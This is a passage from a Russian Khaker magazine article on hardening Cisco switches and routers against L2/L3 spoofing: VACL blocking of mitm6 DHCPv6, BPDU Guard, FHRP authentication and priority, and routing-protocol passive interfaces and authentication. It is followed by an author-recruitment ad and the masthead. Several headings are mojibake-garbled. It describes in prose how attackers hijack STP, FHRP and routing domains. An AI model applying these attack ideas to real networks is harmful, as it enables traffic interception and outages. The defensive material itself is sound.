лететь внутри сегмента, это говорит об аномалии и о том, что в пользователь-
ской сети находится сервер DHCPv6. Существует способ блокировки mitm6,
но слишком агрессивный, так что я просто заблокирую этот порт.

Áëîêèðîâêà íà îñíîâå VMAP


Здесь абсолютно та же ситуация, что и с блокировкой Responder, и та же кон-
цепция с ACL и VMAP-картами. Необходима серия настроек, которая будет
блокировать порт UDP/547.

NightmareSwitch(config)# ipv6 access-list MITM6DHCPV6UDPSRC


NightmareSwitch(config-ext-acl)# permit udp any eq 547 any

Как в ситуации с Responder, здесь тоже фильтруется именно порт UDP


источника с помощью конструкции permit udp any eq 547 any.
VACL-карта с двумя Sequence-номерами:

NightmareSwitch(config)# vlan access-map BLOCKMITM6 seq 10


NightmareSwitch(config-vlan-map)# match ipv6 address
MITM6DHCPV6UDPSRC
NightmareSwitch(config-vlan-map)# action drop log
NightmareSwitch(config)# vlan access-map BLOCKMITM6 seq 20
NightmareSwitch(config-vlan-map)# action forward

Завершающая конструкция, активация VACL для некоторого сегмента VLAN:

NightmareSwitch(config)# vlan filter BLOCKMITM6 vlan-list <VLAN ID>

Теперь коммутатор будет фильтровать DHCPv6-сообщения и не пропустит


трафик mitm6 в контексте UDP/547. Это не позволит атакующему навязать
себя в качестве DNS-сервера на уровне IPv6.

ÁÅÇÎÏÀÑÍÎÑÒÜ ÄÅÐÅÂÀ STP

STP (Spanning Tree Protocol) — это L2-протокол, который защищает компь-


ютерную сеть от широковещательных штормов, блокируя избыточные
физические соединения. Проблема в том, что у Ethernet-кадров нет поля TTL,
а широковещательный трафик будет бесконечно бегать по канальным соеди-
нениям, если возникнет коммутационная петля. Протокол работает исклю-
чительно на канальном уровне, и для общения используются фреймы BPDU
802.3. Обычно на управляемых коммутаторах STP включен по умолчанию.
Однако атакующий может отправить в сторону коммутатора STP BPDU-
кадр с наименьшим значением приоритета, что даст ему шанс перехватить
роль корневого коммутатора. Такой ход событий приводит либо к частичной
MITM-атаке, либо к DoS.
Гораздо лучше с точки зрения безопасности включить функцию BPDU
Guard. С ней коммутатор будет логически блокировать порт, на который при-
шел BPDU-кадр. BPDU Guard в таком случае настраивается на пользователь-
ских портах, куда подключается конечное оборудование.

NightmareSwitch(config)# interface range f0/1-24


NightmareSwitch(config-if-range)# spanning-tree bpduguard enable

Схема при включенном BPDU Guard

Если BPDU-кадр прилетит со стороны атакующего на порт коммутатора, порт


будет выключен.

ÁÅÇÎÏÀÑÍÎÑÒÜ ÃÎÐß×ÅÉ ÑÈÑÒÅÌÛ ÐÅÇÅÐÂÈÐÎÂÀÍÈß FHRP

FHRP (First Hop Redundancy Protocol) — это семейство сетевых протоколов,


которые позволяют нескольким физическим маршрутизаторам работать
как один логический маршрутизатор с виртуальным IP-адресом. Этот вир-
туальный адрес будет назначаться в качестве адреса шлюза по умолчанию
для конечных хостов. Это повышает отказоустойчивость сети и нужно для сис-
темы горячего резервирования. Самые распространенные протоколы класса
FHRP — это HSRP и VRRP.

Типичная схема использования FHRP

Домен отказоустойчивости FHRP может быть атакован. Так происходит, когда


лидирующие Active- (в HSRP) или Master- (в VRRP) маршрутизаторы не имеют
максимального приоритета в своей конфигурации или отсутствует криптогра-
фическая аутентификация.
Если атакующий выполнит спуфинг Active/Master-роли, он проведет MITM-
атаку и сможет перехватывать весь трафик сегмента, в котором находится.
Также он может вызвать Blackhole, и нормальная работа сегмента окажется
просто невозможной. Нюанс еще в том, что протоколы FHRP используют
MCAST-сообщения, которые распространяются на весь сегмент сети, и даже
обычный пользователь сможет обнаружить пакеты FHRP.

Àóòåíòèôèêàöèÿ
Аутентификация не позволит «левым» маршрутизаторам вступить в процесс
обеспечения отказоустойчивости. Если инженер собрался защищать FHRP
таким способом, то необходима стойкая парольная фраза.
Пример MD5-аутентификации для HSRP:

NightmareRouter1(config-if)# standby X authentication md5 key-string


<KEYSTRING>

Пример MD5-аутентификации для VRRP:

NightmareRouter1(config-if)# vrrp X authentication md5 key-string <


KEYSTRING>

Ìàêñèìàëüíûé ïðèîðèòåò
Из соображений безопасности рекомендуется на Master- или Active-маршру-
тизаторе выставить максимальный приоритет. В таком случае, если злоумыш-
ленник отправит вредоносный пакет с приоритетом 255, стать «главным»
у него уже не получится, ведь такой уже имеется. Однако для VRRP это не
сработает, потому что максимальный приоритет, который можно задать, —
254. Поэтому разумнее будет использовать или аутентификацию, или даже
фильтрацию на основе ACL.
Пример задания максимального приоритета для HSRP:

NightmareRouter(config)# int g0/0


NightmareRouter(config-if)# standby 1 priority 255

ÇÀÙÈÒÀ ÄÈÍÀÌÈ×ÅÑÊÎÉ ÌÀÐØÐÓÒÈÇÀÖÈÈ

Dynamic Routing Protocols (DRP) — динамическая маршрутизация — при-


меняется в каждой крупной корпоративной сети и позволяет маршрутиза-
торам внутри AS обмениваться маршрутной информацией автоматически.
Однако я встречал халатное отношение к настройке DRP. А при динамической
маршрутизации есть опасные мисконфиги, которые открывают возможности
для атак на сам домен динамической маршрутизации. Например, это может
быть отсутствие пассивных интерфейсов или отсутствие аутентификации.

Типичная схема с DRP

Точно так же, как и с FHRP, пакеты протоколов динамической маршрутизации


мультикастовые, и их можно анализировать со стороны пользовательской
сети, то есть той сети, которая анонсируется наружу. У потенциального ата-
кующего есть возможность провести атаку: он может поднять на своей сто-
роне виртуальный маршрутизатор и подключиться к домену маршрутизации.
Тем самым он может вызвать:
• ïåðå÷èñëåíèå èíôîðìàöèè — атакующий узнает информацию
о некоторых сетях, которые анонсируются в рамках DRP;
• Blackhole — атакующий может завернуть трафик того или иного хоста
в «черную дыру», вызвав DoS;
• ðàññûëêó ëîæíûõ îáíîâëåíèé LSU èëè EIGRP Update, которые
могут вызывать переполнение таблицы маршрутизации, вследствие чего
получаем DoS (в этом случае атакующий должен иметь роль Master).

Ïàññèâíûå èíòåðôåéñû
Настройка пассивных интерфейсов в контексте динамической маршрутиза-
ции позволяет роутеру запретить рассылать объявления через некоторые
интерфейсы. По умолчанию без настройки пассивных интерфейсов он рас-
сылает объявления во все интерфейсы, а это подвергает домен маршрутиза-
ции большому риску.
Пример пассивных интерфейсов для OSPF:

NightmareRouter(config)# router ospf X


NightmareRouter(config-if)# passive-interface GigabitEthernet X/X

Пример пассивных интерфейсов для EIGRP:

NightmareRouter(config)# router eigrp X


NightmareRouter(config-if)# passive-interface GigabitEthernet X/X

Àóòåíòèôèêàöèÿ
Применение аутентификации в доменах маршрутизации позволяет обес-
печить возможность входа только авторизованным, легитимным маршрутиза-
торам. Однако аутентификация настраивается с помощью паролей. Если ты
собираешься защитить домен маршрутизации, используя аутентификацию,
обязательно позаботься, чтобы эти пароли были достаточно стойкими. Они
хешируются с помощью криптографических хеш-функций, и злоумышленник
сможет считать значения хешей из дампа трафика и вскрыть пароль перебо-
ром. С полученным паролем он без труда подключится к домену маршрутиза-
ции.
Пример использования аутентификации для OSPF:

NightmareRouter(config)# interface GigabitEthernet X/X


NightmareRouter(config-if)# ip ospf authentication message-digest
NightmareRouter(config-if)# ip ospf message-digest-key <KEY ID> md5 <
KEYSTRING>

Пример использования аутентификации для EIGRP:

NightmareRouter(config)# key chain EIGRPWITHKEYCHAINS


NightmareRouter(config-keychain)# key 1
NightmareRouter(config-keychain-key)# key-string <KEYSTRING>
NightmareRouter(config-keychain)# key 2
NightmareRouter(config-keychain-key)# key-string <KEYSTRING>
NightmareRouter(config)# interface GigabitEthernet X/X
NightmareRouter(config-if)# ip authentication mode eigrp <ASN> md5
NightmareRouter(config-if)# ip authentication key-chain eigrp <ASN>
EIGRPWITHKEYCHAINS

Здесь можно использовать даже Keychain-аутентификацию. Это такой стиль


аутентификации, при котором применяется несколько ключей. Это усложнит
жизнь атакующему, поскольку придется не только брутить ключи, но еще
и угадать их порядок.

ÂÛÂÎÄÛ

Я рассмотрел основные концепции, которые помогут защитить сети


от Spoong-атак. По моему мнению, мощность функций сетевого оборудо-
вания криминально недооценивают. Умело используя их, ты можешь сделать
очень многое для безопасности сети. Однако подходить к этому нужно
с умом и пониманием внутренних процессов в сети.
«Хакеру» нужны новые авторы, и ты можешь стать одним
из них! Если тебе интересно то, о чем мы пишем, и есть
желание исследовать эти темы вместе с нами, то не упусти
возможность вступить в ряды наших авторов и получать
за это все, что им причитается.

• Àâòîðû ïîëó÷àþò äåíåæíîå âîçíàãðàæäåíèå. Размер зависит


от сложности и уникальности темы и объема проделанной работы (но
не от объема текста).
• Íàøè àâòîðû ÷èòàþò «Õàêåð» áåñïëàòíî: каждая опубликованная
статья приносит месяц подписки и значительно увеличивает личную скид-
ку. Уже после третьего раза подписка станет бесплатной навсегда.

Кроме того, íàëè÷èå ïóáëèêàöèé — ýòî îòëè÷íûé ñïîñîá ïîêàçàòü


ðàáîòîäàòåëþ è êîëëåãàì, ÷òî òû â òåìå. А еще мы планируем запуск
англоязычной версии, так что ó òåáÿ áóäåò øàíñ áûòü óçíàííûì è çà
ðóáåæîì.
И конечно, ìû âñåãäà óêàçûâàåì â ñòàòüÿõ èìÿ èëè ïñåâäîíèì
àâòîðà. На сайте ты можешь сам заполнить характеристику, поставить фото,
написать что-то о себе, добавить ссылку на сайт и профили в соцсетях. Или,
наоборот, не делать этого в целях конспирации.

ß ÒÅÕÍÀÐÜ, À ÍÅ ÆÓÐÍÀËÈÑÒ. ÏÎËÓ×ÈÒÑß ËÈ Ó ÌÅÍß ÍÀÏÈÑÀÒÜ


ÑÒÀÒÜÞ?
Главное в нашем деле — знания по теме, а не корочки журналиста. Знаешь
тему — значит, и написать сможешь. Не умеешь — поможем, будешь сом-
неваться — поддержим, накосячишь — отредактируем. Не зря у нас работает
столько редакторов! Они не только правят буквы, но и помогают с темами
и форматом и «причесывают» авторский текст, если в этом есть необ-
ходимость. И конечно, перед публикацией мы согласуем с автором все прав-
ки и вносим новые, если нужно.

ÊÀÊ ÏÐÈÄÓÌÀÒÜ ÒÅÌÓ?


Темы для статей — дело непростое, но и не такое сложное, как может
показаться. Стоит начать, и ты наверняка будешь придумывать темы одну
за другой!
Первым делом задай себе несколько простых вопросов:
• «Ðàçáèðàþñü ëè ÿ â ÷åì‑òî, ÷òî ìîæåò çàèíòåðåñîâàòü äðóãèõ?»
Частый случай: люди делают что-то потрясающее, но считают свое
занятие вполне обыденным. Если твоя мама и девушка не хотят слушать
про реверс малвари, сборку ядра Linux, проектирование микропроцес-
соров или хранение данных в ДНК, это не значит, что у тебя не найдется
благодарных читателей.
• «Áûëè ëè ó ìåíÿ â ïîñëåäíåå âðåìÿ èíòåðåñíûå ïðîåêòû?» Если
ты ресерчишь, багхантишь, решаешь crackme или задачки на CTF, если ты
разрабатываешь что-то необычное или даже просто настроил себе
какую-то удобную штуковину, обязательно расскажи нам! Мы вместе при-
думаем, как лучше подать твои наработки.
• «Çíàþ ëè ÿ êàêóþ‑òî èñòîðèþ, êîòîðàÿ êàæåòñÿ ìíå êðóòîé?»
Попробуй вспомнить: если ты буквально недавно рассказывал кому-то
о чем-то очень важном или захватывающем (и связанным с ИБ или ИТ), то
с немалой вероятностью это может быть неплохой темой для статьи.
Или как минимум натолкнет тебя на тему.
• «Íå ïîäìå÷àë ëè ÿ, ÷òî â Õàêåðå óïóñòèëè ÷òî‑òî âàæíîå?» Если
мы о чем-то не писали, это могло быть не умышленно. Возможно, просто
никому не пришла в голову эта тема или не было человека, который
взял бы ее на себя. Кстати, даже если писать сам ты не собираешься, под-
кинуть нам идею все равно можно.

Óãîâîðèëè, êàêîâ ïëàí äåéñòâèé?


1. Придумываешь актуальную тему или несколько.
2. Описываешь эту тему так, чтобы было понятно, что будет в статье и зачем
ее кому-то читать. Обычно достаточно рабочего заголовка и нескольких
предложений (pro tip: их потом можно пустить на введение).
3. Выбираешь редактора и отправляешь ему свои темы (можно главреду —
он разберется). Заодно неплохо бывает представиться и написать пару
слов о себе.
4. С редактором согласуете детали и сроки сдачи черновика. Также он выда-
ет тебе правила оформления и отвечает на все интересующие вопросы.
5. Пишешь статью в срок и отправляешь ее. Если возникают какие-то проб-
лемы, сомнения или просто задержки, ты знаешь, к кому обращаться.
6. Редактор читает статью, принимает ее или возвращает с просьбой
доработать и руководством к действию.
7. Перед публикацией получаешь версию с правками и обсуждаешь их
с редактором (или просто даешь добро).
8. Дожидаешься выхода статьи и поступления вознаграждения.

Если хочешь публиковаться в «Хакере», придумай тему для первой статьи


и предложи редакции.
№8 (293)
Андрей Письменный Валентин Холмогоров Илья Русанен
Главный редактор Ведущий редактор Разработка
pismenny@glc.ru valentin@holmogorov.ru rusanen@glc.ru
Евгения Шарипова
Литературный редактор

MEGANEWS
Мария Нефёдова
nefedova@glc.ru

АРТ
yambuto
yambuto@gmail.com

КОНСУЛЬТАЦИОННЫЙ СОВЕТ
Иван Андреев, Олег Афонин,
Марк Бруцкий-Стем-
пковский, Алексей Глазков,
Nik Zerof, Юрий Язев

РЕКЛАМА
Анна Яковлева
Директор по спецпроектам
yakovleva.a@glc.ru

РАСПРОСТРАНЕНИЕ И ПОДПИСКА
Вопросы о подписке: Вопросы о материалах:
lapina@glc.ru support@glc.ru

Адрес редакции: 125080, город Москва, Волоколамское шоссе, дом 1, строение 1, этаж 8, помещение IX, комната 54, офис 7. Издатель: ИП
Югай Александр Олегович, 400046, Волгоградская область, г. Волгоград, ул. Дружбы народов, д. 54. Учредитель: ООО «Медиа Кар» 125080,
город Москва, Волоколамское шоссе, дом 1, строение 1, этаж 8, помещение IX, комната 54, офис 7. Зарегистрировано в Федеральной службе
по надзору в сфере связи, информационных технологий и массовых коммуникаций (Роскомнадзоре), свидетельство Эл № ФС77-67001 от 30.
08.2016 года. Мнение редакции не обязательно совпадает с мнением авторов. Все материалы в номере предоставляются как информация
к размышлению. Лица, использующие данную информацию в противозаконных целях, могут быть привлечены к ответственности. Редакция
не несет ответственности за содержание рекламных объявлений в номере. По вопросам лицензирования и получения прав на использование
редакционных материалов журнала обращайтесь по адресу: xakep@glc.ru. © Журнал «Хакер», РФ, 2022

Вам также может понравиться